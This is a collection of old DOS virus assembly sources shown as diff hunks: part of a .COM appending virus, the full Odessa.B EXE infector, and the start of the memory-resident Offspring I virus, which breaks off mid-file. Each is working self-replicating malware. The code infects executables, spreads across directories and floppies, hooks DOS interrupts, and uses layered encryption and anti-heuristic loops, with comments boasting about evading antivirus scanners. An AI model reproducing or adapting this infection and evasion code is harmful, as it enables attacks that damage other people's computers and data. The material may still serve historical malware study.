||||
; Because most files are different sizes, and this
|
||||
; virus just attaches itself to the end we have
|
||||
; to find out where it is before it can do anything.
|
||||
|
||||
Skip:
|
||||
jmp DHidden ; We have to skip the decrypt part on the first run
|
||||
|
||||
Decrypt:
|
||||
; Give length of area to decrypt to CX
|
||||
;mov cx,cryptie-hidden ; This is written later to keep correct file size
|
||||
; and offsets. It overwrites the 'jmp hidden'.
|
||||
lea di,[bp+hidden] ; Start of area to decrypt
|
||||
mov si,di ; its also the destination for decrypted part
|
||||
call Cryptie ; Decrypts the virus from here to the decryption
|
||||
; routine.
|
||||
|
||||
Hidden: ; Only encrypted once, because this is the decrypt
|
||||
; call for the second layer.
|
||||
lea di,[bp+Dhidden] ; Puts the starting address of the secong layer of
|
||||
; encryption into DI
|
||||
mov si,di ; Then SI
|
||||
mov cx,DCryptie-Dhidden ; Gets the size for the next area to decrypt
|
||||
mov dl,03h ; Decryption code value
|
||||
call DCryptie ; Boom! Decrypts the second layer
|
||||
|
||||
DHidden: ; Area that is hidden with Double encryption
|
||||
|
||||
; Here we will write the saved bytes from the beggining of the file, back
|
||||
; to where they belong, so that we may run the file as normal, after we
|
||||
; infect some more files of course :)
|
||||
|
||||
lea si,[bp+saved] ; Notice the [bp+saved]. It accesses a memory locale
|
||||
; that would be changed depending on infected file
|
||||
; size. We just add our Delta offset to find out
|
||||
; its exact location.
|
||||
lea di,100h ; We are gonna write the saved bytes to the start
|
||||
; so we run the program as normal after we infect
|
||||
; some files.
|
||||
mov cx,03h ; The number of bytes we have to write back to start
|
||||
rep movsb ; Quickly restores the file so we can run it after
|
||||
; we get through here.
|
||||
|
||||
lea si,[bp+frstbytes] ; We have to save these over the jmp
|
||||
; so that later we can just copy Virus to mem
|
||||
lea di,[bp+Skip] ; Where the skip instruction is
|
||||
; We are gonna over write it with the Frstbytes
|
||||
mov cx,03h ; Length of area
|
||||
rep movsb ; Does the job
|
||||
|
||||
push 00h ; Pushes the 0 value to stack, this will keep
|
||||
; a count of the files infected during each run.
|
||||
|
||||
mov ax,4E00h ; Function 4Eh: Find First
|
||||
Findnext: ; Findnext jmp point
|
||||
lea dx,[bp+filemask] ; Gets the filemask = '*.com',0
|
||||
xor cx,cx ; No attributues in this search
|
||||
int 21h ; Tells DOS to find the *.com files
|
||||
|
||||
jnc Open ; Found one, now open it!
|
||||
|
||||
jmp Badstuff ; NONE left, do some other stuff
|
||||
|
||||
Open: ; Open/Encrypt/Infect routines
|
||||
|
||||
mov ax,3D02h ; Function 3D: Open File
|
||||
; 02 = Read/Write access
|
||||
mov dx,9Eh ; Location of ASCIZ filename
|
||||
int 21h ; Calls DOS to open the file, with Read/Write access
|
||||
; so that we can write the virus to it :)
|
||||
|
||||
xchg bx,ax ; Gives the file handle from AX to BX in one byte.
|
||||
|
||||
mov ah,3Fh ; Function 3Fh: Read from file
|
||||
mov cx,03h ; We are gonna read the first 3 bytes. CX = # of bytes
|
||||
; to read from file.
|
||||
lea dx,[bp+saved] ; The location for the bytes to be stored when read.
|
||||
int 21h ; Calls DOS to load the first 3 bytes of Victem file
|
||||
; into the 'Saved' location so that it may run correctly.
|
||||
|
||||
mov al,0E9h ; Checks to see if it was a jump instruction
|
||||
cmp al,[bp+saved] ; by matching E9h to the first byte of the file.
|
||||
jne Uninfected ; It can't be infected by this virus because the file
|
||||
; has NO jmp at its beggining. If it does have a jmp
|
||||
; but not from this program it could be from another
|
||||
; virus, and double infecting can cause trouble.
|
||||
jmp Infected
|
||||
|
||||
Uninfected:
|
||||
|
||||
mov ax,[80h+1Ah] ; Gets the filesize of the target file
|
||||
sub ax,03h ; Takes into account the length of the JMP instruction
|
||||
mov [bp+jumpto],ax ; Puts the location to jmp to as the
|
||||
; 2nd,3rd bytes of the buffer.
|
||||
|
||||
|
||||
mov ax,4200h ; Function 42h: Move File Pointer
|
||||
; 00h = beggining, after the read the FP moves 3 bytes
|
||||
xor cx,cx ; 0 = CX
|
||||
xor dx,dx ; 0 = DX
|
||||
int 21h ; Calls DOS, this is explained a bit more with the
|
||||
; next "Move File Pointer" instruction
|
||||
|
||||
mov ah,40h ; Function 40h: Write to file
|
||||
mov cx,03 ; Number of bytes to write. CX = # of bytes
|
||||
lea dx,[bp+jumping]; Start at buffer area, this will write the jump
|
||||
; instruction to the beggining of the victem file.
|
||||
int 21h ; Blammo! This is the jmp that skips over the normal
|
||||
; file and heads write to the virus code. INT 21h tells
|
||||
; DOS to write those three bytes.
|
||||
|
||||
mov ax,4202h ; Function 42h: Move File pointer
|
||||
; 02 = End of file ( EOF )
|
||||
xor cx,cx ; DX:CX is the offset from the File pointer location,
|
||||
xor dx,dx ; since we want to be exactly at the EOF we clear DX:CX
|
||||
int 21h ; Calls DOS to move the file pointer
|
||||
|
||||
; Write the Virus to memory
|
||||
|
||||
VirL EQU Ende-Virus_Start
|
||||
|
||||
; Length of Virus except jmp at beggining
|
||||
|
||||
lea si,[bp+Virus_Start] ; Start of virus
|
||||
lea di,[bp+buffer] ; Area that it will be stored in mem
|
||||
mov cx,VirL ; Length of it
|
||||
rep movsb
|
||||
|
||||
; Now we have to modify it so that it is encrypted
|
||||
|
||||
DHiddenL EQU DCryptie-DHidden ; Length of area to encrypt that will
|
||||
; end up double encrypted.
|
||||
HiddenL EQU Cryptie-Hidden ; Length of single encrypt area
|
||||
DHBufStart EQU DHidden-Virus_Start+Buffer ; Start of DHidden in buffer
|
||||
HBufStart EQU Hidden-Virus_Start+Buffer ; Start of Hidden in Buffer
|
||||
|
||||
; More ways to clear up the clutter
|
||||
|
||||
; Here we encrypt All but the second and first Decrypt calls, and the
|
||||
; decryption routines that go with em.
|
||||
|
||||
lea si,[bp+DHBufStart] ; Time to encrypt the first area that will then
|
||||
mov di,si ; be encrypted again, giving us our Doubly Encrypted
|
||||
; area.
|
||||
mov cx,DHiddenL ; Length of this area
|
||||
mov dl,05h ; Encryption value
|
||||
call DCryptie ; Calls the Second Encryption routine
|
||||
; because this will become decrypted by the first
|
||||
; when infected files are run.
|
||||
|
||||
; Now we encrypt from Hidden to Cryptie ( while encrypting DHidden to
|
||||
; DCryptie for the second time ) which makes this double encrypting.
|
||||
|
||||
lea si,[bp+HBufStart] ; Start of Hidden area in buffer
|
||||
mov di,si ; You should know this one by now.
|
||||
mov cx,HiddenL ; Length of the area
|
||||
call Cryptie ; Uhoh, now its encrypted and the AV software won't
|
||||
; find it. Now what are we gonna do?
|
||||
; ( Being sarcastic of course! )
|
||||
|
||||
; So we have the virus prepared for infecting :)
|
||||
|
||||
mov ah,40h ; Function 40h: Write to file ( everyone's fave )
|
||||
lea dx,[bp+buffer] ; Start of virus in mem buffer
|
||||
mov cx,VirL ; Length of it
|
||||
int 21h ; Calls DOS to write this :)
|
||||
|
||||
pop cx ; This is gonna be the infected file count.
|
||||
inc cx ; We must have found and infected one if we are here so
|
||||
; makes sure it gets added to the total.
|
||||
push cx ; Saves it so we can check again after the next file
|
||||
; is found.
|
||||
|
||||
Infected: ; A place to jump in case the file is already infected
|
||||
|
||||
mov ah,3Eh ; Function 3Eh: Close File
|
||||
int 21h ; Calls DOS to close up the file.
|
||||
|
||||
pop cx
|
||||
push cx
|
||||
cmp cl,05h ; Check to see if 5 files have been infected.
|
||||
je BadStuff
|
||||
mov ax,4F00h ; Function 4Fh: Find next
|
||||
jmp Findnext
|
||||
|
||||
Badstuff: ; Here is where the payload goes
|
||||
|
||||
exit:
|
||||
|
||||
; Now we are gonna get outta here, first we should cover up any stuff
|
||||
; that might show up in a mem dump, so that if anyone looks, all they
|
||||
; see is garbage.
|
||||
|
||||
lea di,[bp+Virus_Start] ; Gets the location of the Virus_start and hides
|
||||
; everything but the encryption itself. ( and the
|
||||
; kitchen sink, of course )
|
||||
mov si,di ; and put it into DI/SI so we can hide the virus
|
||||
; from the host program.
|
||||
mov cx,cryptie-Virus_start ; Gives length of area to hide into CX
|
||||
call cryptie ; Calls the encryption loop to hide it
|
||||
|
||||
; Jumps to the start of the actual program.
|
||||
;push 100h ; This is encrypted because the call to cryptie
|
||||
;ret ; will decrypt it and it will be the only thing
|
||||
db 87h,0EFh,0EEh,2Ch ; unencrypted ( along with the cryptie loop, but
|
||||
; they are not very easily recognizable as virus
|
||||
; code. )
|
||||
|
||||
Frstbytes:
|
||||
mov cx,Cryptie - Hidden ; These will overwrite the jmp that skips the
|
||||
; decrypt routines on the first run.
|
||||
saved db 0CDh,020h,0h ; This is the storage space for the first
|
||||
; three bytes from the infected file. CD20 is
|
||||
; the 'int 20h' instruction used to exit.
|
||||
jumping db 0E9h ; E9 = jmp
|
||||
jumpto db 0,0 ; Place for the new address
|
||||
filemask db '*.com',0 ; The type of files we are gonna infect.
|
||||
message db 'Occido/The_Virus_Elf/10.08.97' ; Virus Info
|
||||
|
||||
DCryptie:
|
||||
|
||||
lodsb ; Gets next byte Doomed for De/Encryption
|
||||
xchg dx,cx ; Saves the count while using the DE/ENcrypt value
|
||||
; Uses 3 to decrypt and 5 to encrypt
|
||||
rol al,cl ; Rotates those bits by CL
|
||||
not al ; Opposite bits
|
||||
neg al ; One's complement bits
|
||||
not al ; More opposite bits
|
||||
xor al,0C4h ; XORs the value
|
||||
not al ; See above
|
||||
neg al ; " "
|
||||
not al ; " "
|
||||
rol al,cl ; " "
|
||||
xchg cx,dx ; Returns the count value to CX
|
||||
stosb ; Puts the encrypted byte into mem
|
||||
loop DCryptie ; Does all the bytes specified by CX
|
||||
ret ; Jumps back to the caller
|
||||
|
||||
Cryptie:
|
||||
|
||||
lodsb ; Gets the next byte to De/Encrypt
|
||||
ror al,04h ; Rotates the bits 4 places
|
||||
xor al,0C4h ; Does a little XORing
|
||||
not al ; Gets the opposite bits
|
||||
neg al ; Gets the one's complement bits
|
||||
not al ; Gets the opposite bis again
|
||||
xor al,0C4h ; More XORing
|
||||
ror al,04h ; Rotates the bits Back 4 places
|
||||
stosb ; Plugs AL back into mem
|
||||
loop Cryptie ; Does all the bytes specified by CX
|
||||
ret ; Jumps back to where it was called
|
||||
|
||||
buffer:
|
||||
ende:
|
|
@ -0,0 +1,409 @@
|
|||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
; Odessa.B virus
|
||||
; (C) Opic [CodeBreakers '98]
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
;Odessa.B variant is a continuation of Odessa (aka opic.727)
|
||||
;
|
||||
;Odessa.B's NEW features:
|
||||
;
|
||||
;-Odessa.B will NOW infect .Exe files present on any floppy disks
|
||||
; undetectably (due to a critical error handler). It does so after
|
||||
; the current HDD is infected. When Odessa.B is present on a floppy
|
||||
; disk it will move imediatly to the HDD to insure infection of new systems.
|
||||
;Thus making it a viable floppy born virus (one of the few outside of the
|
||||
;BS/MBR families)
|
||||
;
|
||||
;-an expanded encryption loop
|
||||
;
|
||||
;-some minor bug fixes, and optimisations.
|
||||
;
|
||||
;Infected files grow approximatly: 745 bytes
|
||||
;
|
||||
;Old features:
|
||||
;
|
||||
;-Exe file infector
|
||||
;-directory transversal via dotdot
|
||||
;-is Windows compatable (ie: will not infect: Windows NE, PE, LE files ect.)
|
||||
|
||||
;-some anti-emulation
|
||||
;-payload criteria: the virus will activate its payload on
|
||||
; either the 13th or the 6th of any given month provided the seconds
|
||||
; are below 30.
|
||||
;
|
||||
;-payload: when activated the virus will beep 6 times before the
|
||||
; infected file is run. I choose this more subtle payload because
|
||||
;it is easily missed, and only creates a bit of curiosity at most.
|
||||
;which is a good aspect since the fact that all infected files will
|
||||
;try to access the floppy drive before running also brings some curious.
|
||||
;Its also somewhat humerous because the telltale signs of this virus
|
||||
;are also what many non-computer literate people constantly write to
|
||||
;AVers about complaining of (to which the AVs constant reply is:
|
||||
;false alarm. There is a signature line:
|
||||
;Odessa.B (c) Opic [Codebreakers 1998]
|
||||
;I have left for the AV to rename for me, as it is never displayed
|
||||
;(hell i figure their gonna anyways :P ).
|
||||
;
|
||||
;detected: Not detected by TBAV as second gen.
|
||||
;
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
Exe_Infector Segment
|
||||
Assume CS:Exe_Infector, SS:Exe_Infector, DS:Exe_Infector, ES:Exe_Infector
|
||||
jumps
|
||||
start: ;set registers up
|
||||
|
||||
dec cx ;lame loop
|
||||
noav1:
|
||||
jmp noav2
|
||||
mov ax,4c00h
|
||||
int 21h
|
||||
noav2:
|
||||
loop noav1 ;end of antiheur
|
||||
|
||||
push ds
|
||||
push es
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
Call delta
|
||||
|
||||
delta: ;delta offset
|
||||
pop bp
|
||||
sub bp,offset delta
|
||||
lea si,[bp+Begin_Virus]
|
||||
mov di,si
|
||||
mov cx,End_Virus-Begin_Virus
|
||||
call encrypt
|
||||
jmp Begin
|
||||
|
||||
encrypt:
|
||||
lodsb
|
||||
NEG al ;<-------------13
|
||||
ROR al,4 ;<------------12
|
||||
NOT al ;<-----------11
|
||||
ROR al,4 ;<----------10
|
||||
NOT al ;<---------9
|
||||
NEG al ;<--------8
|
||||
ROL al,4 ;<-------7
|
||||
NOT al ;<------6
|
||||
ROL al,4 ;<-----5
|
||||
NOT al ;<----4
|
||||
ROR al,4 ;<---3
|
||||
NEG al ;<--2
|
||||
NOT al ;<-1
|
||||
ROR al,4 ;<0 this huge loop may
|
||||
NOT al ;<-1 look silly but it
|
||||
NEG al ;<--2 kills alot of AV
|
||||
ROR al,4 ;<---3 scanners due becuz
|
||||
NOT al ;<----4 they think it is
|
||||
ROL al,4 ;<-----5 endless
|
||||
NOT al ;<------6
|
||||
ROL al,4 ;<-------7
|
||||
NEG al ;<--------8
|
||||
NOT al ;<---------9
|
||||
ROR al,4 ;<----------10
|
||||
NOT al ;<-----------11
|
||||
ROR al,4 ;<------------12
|
||||
NEG al ;<-------------13
|
||||
stosb
|
||||
loop encrypt
|
||||
ret
|
||||
Begin_Virus:
|
||||
|
||||
Check_Payload proc
|
||||
mov ah,2ah ;system date
|
||||
int 21h
|
||||
cmp dl,13 ;is it the 31st if the month?
|
||||
je sec ;yes? test seconds!
|
||||
cmp dl,6 ;13th ?
|
||||
je sec ;yes seconds!
|
||||
jmp CP_Exit ;no? restore.
|
||||
sec:
|
||||
mov ah,2Ch ;check time
|
||||
int 21h
|
||||
cmp dh,30d ;seconds less then 30?
|
||||
jnb CP_Exit ;if yes->payload
|
||||
call Payload
|
||||
|
||||
CP_Exit:
|
||||
ret
|
||||
Check_Payload endp
|
||||
|
||||
Payload proc
|
||||
|
||||
mov ah,0eh ;back to c:\
|
||||
mov dl,02h
|
||||
int 21h
|
||||
|
||||
mov cx,6 ;beep 6 times.
|
||||
beep:
|
||||
mov al,7
|
||||
int 29h
|
||||
loop beep
|
||||
ret
|
||||
Payload endp
|
||||
|
||||
Infect proc
|
||||
mov ax,3d02h ;open file
|
||||
lea dx,[bp+End_Virus+1eh]
|
||||
int 21h
|
||||
|
||||
mov bx,ax ;file handleto bx
|
||||
mov ah,3fh ;exe head into buffer
|
||||
lea dx,[bp+header]
|
||||
mov cx,1ah
|
||||
int 21h
|
||||
|
||||
cmp word ptr cs:[bp+header],'MZ' ;check .exe signature
|
||||
je its_exe
|
||||
cmp word ptr cs:[bp+header],'ZM'
|
||||
je its_exe
|
||||
jmp close
|
||||
|
||||
its_exe:
|
||||
cmp byte ptr cs:[bp+header+12h],'B' ;our infection check
|
||||
jne not_infected
|
||||
jmp close
|
||||
|
||||
not_infected:
|
||||
mov ax, word ptr cs:[bp+header+18h] ;make sure its not a
|
||||
;windbloze exe (pe,ne,le .ect)
|
||||
cmp ax, 40h
|
||||
jae close ; > or = means windbloze
|
||||
|
||||
mov ax,word ptr cs:[bp+header+0eh] ;save orginal info from header
|
||||
mov word ptr cs:[bp+old_ss],ax ;stack segment
|
||||
mov ax,word ptr cs:[bp+header+10h] ;stack pointer
|
||||
mov word ptr cs:[bp+old_sp],ax
|
||||
|
||||
mov ax,word ptr cs:[bp+header+14h] ;instructional pointer
|
||||
mov word ptr cs:[bp+old_ip],ax
|
||||
|
||||
mov ax,word ptr cs:[bp+header+16h] ;code segment
|
||||
mov word ptr cs:[bp+old_cs],ax ;cs:ip =begining of excutable code
|
||||
|
||||
mov ax,4202h ;EOF
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
push ax ;save file size
|
||||
push dx
|
||||
push ax
|
||||
|
||||
mov ax,word ptr cs:[bp+header+8] ;header size
|
||||
shl ax,4 ;convert
|
||||
mov cx,ax ;save header size in cx
|
||||
pop ax ;restore ax
|
||||
sub ax,cx ;subtract header from file size to get code and data size
|
||||
sbb dx,0
|
||||
|
||||
mov cx,10h
|
||||
div cx
|
||||
|
||||
mov word ptr cs:[bp+header+14h],dx ;IP create new header
|
||||
mov word ptr cs:[bp+header+16h],ax ;CS
|
||||
mov word ptr cs:[bp+header+0Eh],ax ;SS
|
||||
mov word ptr cs:[bp+header+10h],0fffeh ;SP
|
||||
mov word ptr cs:[bp+header+12h],'B' ;marker
|
||||
|
||||
pop dx ;restore filesize
|
||||
pop ax ;dx to ax
|
||||
|
||||
add ax,End_Virus-start
|
||||
adc dx,0
|
||||
|
||||
mov cx,512 ;divide new filesize by 512
|
||||
div cx
|
||||
|
||||
cmp dx,0
|
||||
je no_remainder
|
||||
inc ax
|
||||
|
||||
no_remainder:
|
||||
mov word ptr cs:[bp+header+4],ax ;save new filesize
|
||||
mov word ptr cs:[bp+header+2],dx
|
||||
|
||||
lea si,[bp+Begin_Virus] ;crypt virus
|
||||
lea di,[bp+Buffer]
|
||||
mov cx,End_Virus - Begin_Virus
|
||||
call encrypt
|
||||
|
||||
mov ah,40h ;write decryptor
|
||||
mov cx,Begin_Virus - start
|
||||
lea dx,[bp+start]
|
||||
int 21h
|
||||
|
||||
mov ah,40h ;write encrypted portion
|
||||
mov cx,End_Virus - Begin_Virus
|
||||
lea dx,[bp+Buffer]
|
||||
int 21h
|
||||
|
||||
mov ax,4200h ;SOF
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah,40h ;write new header
|
||||
lea dx,[bp+header]
|
||||
mov cx,1ah
|
||||
int 21h
|
||||
close:
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
ret
|
||||
Infect endp
|
||||
|
||||
ni24h proc ;
|
||||
mov al,3 ;ignore error
|
||||
iret ;critical error handler
|
||||
ni24h endp
|
||||
|
||||
Search proc
|
||||
mov ax,3524h ;critical error handler
|
||||
int 21h
|
||||
push bx ;saves orig
|
||||
push es ;stuffs to restore later
|
||||
|
||||
mov ah,25h
|
||||
lea dx,[bp+ni24h]
|
||||
int 21h
|
||||
|
||||
push ds ;ES was changed by 3524h but you need it
|
||||
pop es ;to be restored for the crypt procedure.
|
||||
|
||||
first:
|
||||
mov ah,4eh ;find first
|
||||
lea dx,[bp+filespec]
|
||||
mov cx,7
|
||||
|
||||
findnext:
|
||||
int 21h
|
||||
jc findover ;no? get out!
|
||||
call Infect ;yes and infect!
|
||||
mov ah,4fh ;find next
|
||||
jmp findnext
|
||||
findover:
|
||||
mov ah,3Bh ;change dirs
|
||||
lea dx,[bp+dotdot] ;to root
|
||||
int 21h ;now
|
||||
jnc first ;find first file
|
||||
|
||||
get_cur_drive:
|
||||
mov ah,19h ;what drive are we on?
|
||||
int 21h
|
||||
cmp al,00h ;if already floppy
|
||||
je Search_Exit ;we can leave now.
|
||||
|
||||
mov ah,0eh ;select default drive
|
||||
mov dl,00h ;this time the floppy drive
|
||||
int 21h
|
||||
jmp first ;exe on floppy?
|
||||
Search_Exit:
|
||||
pop ds
|
||||
pop dx
|
||||
mov ax,2524h
|
||||
int 21h
|
||||
ret
|
||||
Search endp
|
||||
|
||||
Begin proc
|
||||
mov ah,2fh ;get current dta
|
||||
int 21h
|
||||
push es ;save it
|
||||
push bx
|
||||
push cs ;restore es
|
||||
pop es
|
||||
|
||||
mov ah,1ah ;set new dta to end of virus
|
||||
lea dx,[bp+End_Virus]
|
||||
int 21h
|
||||
|
||||
mov ah,0eh ;select default drive (main HDD)
|
||||
mov dl,02h ;c:\
|
||||
int 21h ;so our virus can move from
|
||||
;a floppy to a new HDD without
|
||||
;any help
|
||||
|
||||
lea si,[bp+old_ip]
|
||||
lea di,[bp+original_ip]
|
||||
mov cx,4
|
||||
rep movsw
|
||||
|
||||
call Search
|
||||
call Check_Payload
|
||||
|
||||
mov ah,0eh ;back to c:\
|
||||
mov dl,02h
|
||||
int 21h
|
||||
|
||||
restore: ;restore prev location DTA
|
||||
pop dx
|
||||
pop ds
|
||||
|
||||
mov ah,1ah ;reset dta
|
||||
int 21h
|
||||
|
||||
pop ds
|
||||
pop es
|
||||
mov ax,es ;es points to PSP
|
||||
add ax,10h
|
||||
add word ptr cs:[bp+original_cs],ax
|
||||
|
||||
cli ;ints off!
|
||||
add ax,word ptr cs:[bp+original_ss]
|
||||
mov ss,ax
|
||||
mov sp,word ptr cs:[bp+original_sp]
|
||||
sti ;ints on!
|
||||
Begin endp
|
||||
|
||||
db 0eah
|
||||
original_ip dw ?
|
||||
original_cs dw ?
|
||||
original_ss dw ?
|
||||
original_sp dw ?
|
||||
|
||||
old_ip dw offset Exit
|
||||
old_cs dw 0000h
|
||||
old_ss dw 0000h
|
||||
old_sp dw 0fffeh
|
||||
filespec db '*.exe',0
|
||||
dotdot db '..',0
|
||||
sig db 'Odessa.B (c) Opic [Codebreakers 1998]',0
|
||||
header db 1ah DUP(?)
|
||||
End_Virus db 42 dup(?)
|
||||
Buffer equ this byte+80h
|
||||
|
||||
db 1024 dup(?)
|
||||
|
||||
Entry proc
|
||||
mov bp,0000h
|
||||
push ds
|
||||
push es
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
jmp Begin
|
||||
Entry endp
|
||||
|
||||
Exit proc ;<- Begin procedure
|
||||
mov ax,4c00H
|
||||
int 21h
|
||||
Exit endp ;<- End procedure
|
||||
|
||||
Exe_Infector Ends
|
||||
End Entry
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,439 @@
|
|||
;-------------------------------------------------------------------------
|
||||
; OSPRING.COM - Make sure you compile this to a COM file
|
||||
; - Compatible with A86 v3.22
|
||||
; OFFSPRING I - By VG Enterprises (Virogen)
|
||||
;
|
||||
; NOTICE : Don't hold me responsible for any damages, or the release
|
||||
; of this virus. Use this at your own risk. NOT intended
|
||||
; for any lamers to upload the Mcafee! Thank you for your
|
||||
; loyal obendience.
|
||||
;
|
||||
; TYPE : SPAWNING RESIDENT
|
||||
; VERSION : BETA 0.05
|
||||
;
|
||||
; FIXED/NEW IN VERSION 0.05
|
||||
; - Mutation engine much smaller
|
||||
; - Now change interrupt vectors directly
|
||||
; - The XOR number is now generated randomly
|
||||
; using the system clock as a base.
|
||||
; - The FF/FN buffer has been moved outside
|
||||
; of the virus code, so disk space is
|
||||
; lowered.
|
||||
;
|
||||
; INFECTION METHOD : Everytime DOS changes directories, or changes
|
||||
; drives... all files in the CURRENT directory
|
||||
; (the one you're coming out of) will be infected.
|
||||
; COM files will be hidden, and have the read-only
|
||||
; attribute. When they are executed they will
|
||||
; check if the virus is already in memory, and
|
||||
; then execute the corresponding EXE file. See
|
||||
; DOCS.
|
||||
;
|
||||
; This virus is NOT completed, so don't go off when you find a
|
||||
; bug. There is one that I haven't determined the cause of yet,
|
||||
; Do a 'DIR' of a directory other than the current, and see
|
||||
; what happens. There's still some variables that can be
|
||||
; moved outside of the code, but it won't make a hell of
|
||||
; a difference in size.
|
||||
;
|
||||
;
|
||||
;
|
||||
;
|
||||
title off_spring_1
|
||||
.286
|
||||
cseg segment
|
||||
assume cs: cseg, ss: cseg, es: cseg
|
||||
|
||||
signal equ 7dh ; Installation check
|
||||
reply equ 0FCh ; Yep, we're here
|
||||
|
||||
cr equ 0dh ; carraige return
|
||||
lf equ 0ah ; line feed
|
||||
|
||||
f_name equ 1eh ; Offset of file name in FF/FN buffer
|
||||
f_sizel equ 1ch ; File size - low
|
||||
|
||||
org 100h ; Leave room for PSP
|
||||
; jump to the beginning of the main procedure
|
||||
start:
|
||||
|
||||
jmp no_dec ; Skip decryption, changes to NOP
|
||||
lea di,enc_data+2 ; Point to byte after encryption num
|
||||
mov dx,[di-2] ; load encryption num
|
||||
call encrypt ; Decrypt the virus
|
||||
no_dec:
|
||||
jmp main ; Jump to main routine
|
||||
|
||||
enc_data DW 0000 ; Encryption Data - num we XOR by
|
||||
|
||||
|
||||
ID DB cr,lf,'(c)1993 VG Enterprises',cr,lf ; my copyright
|
||||
VNAME Db cr,lf,'* Congratulations, You have recieved the privelge of being infected by the *'
|
||||
Db cr,lf,'* Offspring I v0.05. *','$'
|
||||
|
||||
fname db '*.EXE',0 ; Filespec to search for
|
||||
|
||||
sl db '\' ; Backslash for directory name
|
||||
file_dir db 64 dup(0) ; directory of file we infected
|
||||
file_name db 13 dup(0) ; filename of file we infected
|
||||
old_dta dd 0 ; old seg:off of DTA
|
||||
old21_ofs dw 0 ; Offset of old INT 21H
|
||||
old21_seg dw 0 ; Seg of old INT 21h
|
||||
|
||||
par_blk dw 0 ; command line count byte -psp
|
||||
par_cmd dw 0080h ; Point to the command line -psp
|
||||
par_seg dw 0 ; seg
|
||||
dw 05ch ; Use default FCB's in psp to save space
|
||||
par1 dw 0 ;
|
||||
dw 06ch ; FCB #2
|
||||
par2 dw 0 ;
|
||||
|
||||
;--------------------------------------------------------------------
|
||||
; This is our new INT 21H (dos) interrupt handler!
|
||||
;
|
||||
;
|
||||
;---------------------------------------------------------------------
|
||||
|
||||
new21 proc ; New INT 21H handler
|
||||
|
||||
cmp ah, signal ; signaling us?
|
||||
jne no
|
||||
mov ah,reply ; yep, give our offspring what he wants
|
||||
jmp end_21
|
||||
no:
|
||||
cmp ah, 3bh ;
|
||||
je run_res ; Nope, jump
|
||||
cmp ah,0eh
|
||||
jne end_21
|
||||
|
||||
run_res:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push si
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
push sp
|
||||
push ss
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,2fh
|
||||
int 21h ; Get the DTA
|
||||
|
||||
mov ax,es
|
||||
mov word ptr cs: old_dta,bx
|
||||
mov word ptr cs: old_dta+2,ax
|
||||
push cs
|
||||
pop es
|
||||
|
||||
call resident
|
||||
|
||||
mov dx,word ptr cs: old_dta
|
||||
mov ax,word ptr cs: old_dta+2
|
||||
mov ds,ax
|
||||
mov ah,1ah
|
||||
int 21h ; Restore the DTA
|
||||
|
||||
pop ss
|
||||
pop sp
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop si
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
end_21 :
|
||||
jmp [ dword ptr cs: old21_ofs] ; jump to original int 21h
|
||||
iret
|
||||
new21 endp ; End of handler
|
||||
|
||||
|
||||
; ------------------------------------------------------------
|
||||
; Main procedure
|
||||
; -----------------------------------------------------------
|
||||
main proc
|
||||
|
||||
|
||||
mov word ptr [0100h],9090h ; NOP the jump past decryption
|
||||
mov byte ptr [0102h],90h
|
||||
mov bx,(offset vend+50) ; Calculate memory needed
|
||||
mov cl,4 ; divide by 16
|
||||
shr bx,cl
|
||||
inc bx
|
||||
mov ah,4ah
|
||||
int 21h ; Release un-needed memory
|
||||
|
||||
mov ax,ds: 002ch ; Get environment address
|
||||
mov par_blk,ax ; Save in parameter block for exec
|
||||
|
||||
mov par1,cs ; Save segments for EXEC
|
||||
mov par2,cs
|
||||
mov par_seg,cs
|
||||
|
||||
mov ah,2ah ; Get date
|
||||
int 21h
|
||||
|
||||
cmp dl,14 ; 14th?
|
||||
jne no_display
|
||||
|
||||
mov ah,09 ; Display message
|
||||
lea dx,ID
|
||||
int 21h
|
||||
|
||||
no_display:
|
||||
call install ; check if installed, if not install
|
||||
|
||||
|
||||
mov dx,offset file_dir -1 ; Execute the original EXE
|
||||
mov bx,offset par_blk ; For some damned reason
|
||||
mov ax,4b00h ; control is not returned back
|
||||
int 21h ; to the virus.
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov es,ds
|
||||
|
||||
mov ah,4ch ; Exit
|
||||
int 21h
|
||||
main endp
|
||||
|
||||
;---------------
|
||||
; INSTALL - Install the virus
|
||||
;---------------
|
||||
|
||||
Install Proc
|
||||
|
||||
mov ah,signal
|
||||
int 21h
|
||||
cmp ah,reply
|
||||
je no_install
|
||||
|
||||
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov ax,es: [21h*4+2]
|
||||
mov bx,es: [21h*4]
|
||||
mov ds: old21_seg,ax ; Store segment
|
||||
mov ds: old21_ofs,bx ; Store offset
|
||||
|
||||
cli
|
||||
|
||||
mov es: [21h*4+2],cs ; Save seg
|
||||
mov es: [21h*4],offset new21 ; off
|
||||
|
||||
sti
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov es,ds
|
||||
|
||||
mov dx,(offset vend+50)
|
||||
add dx,dx
|
||||
; Calculate memory needed
|
||||
mov cl,4 ; \ Divide by 16
|
||||
shr dx,cl ; /
|
||||
add dx,1 ;
|
||||
|
||||
mov ax,3100h ;
|
||||
int 21H ; Terminate Stay Resident
|
||||
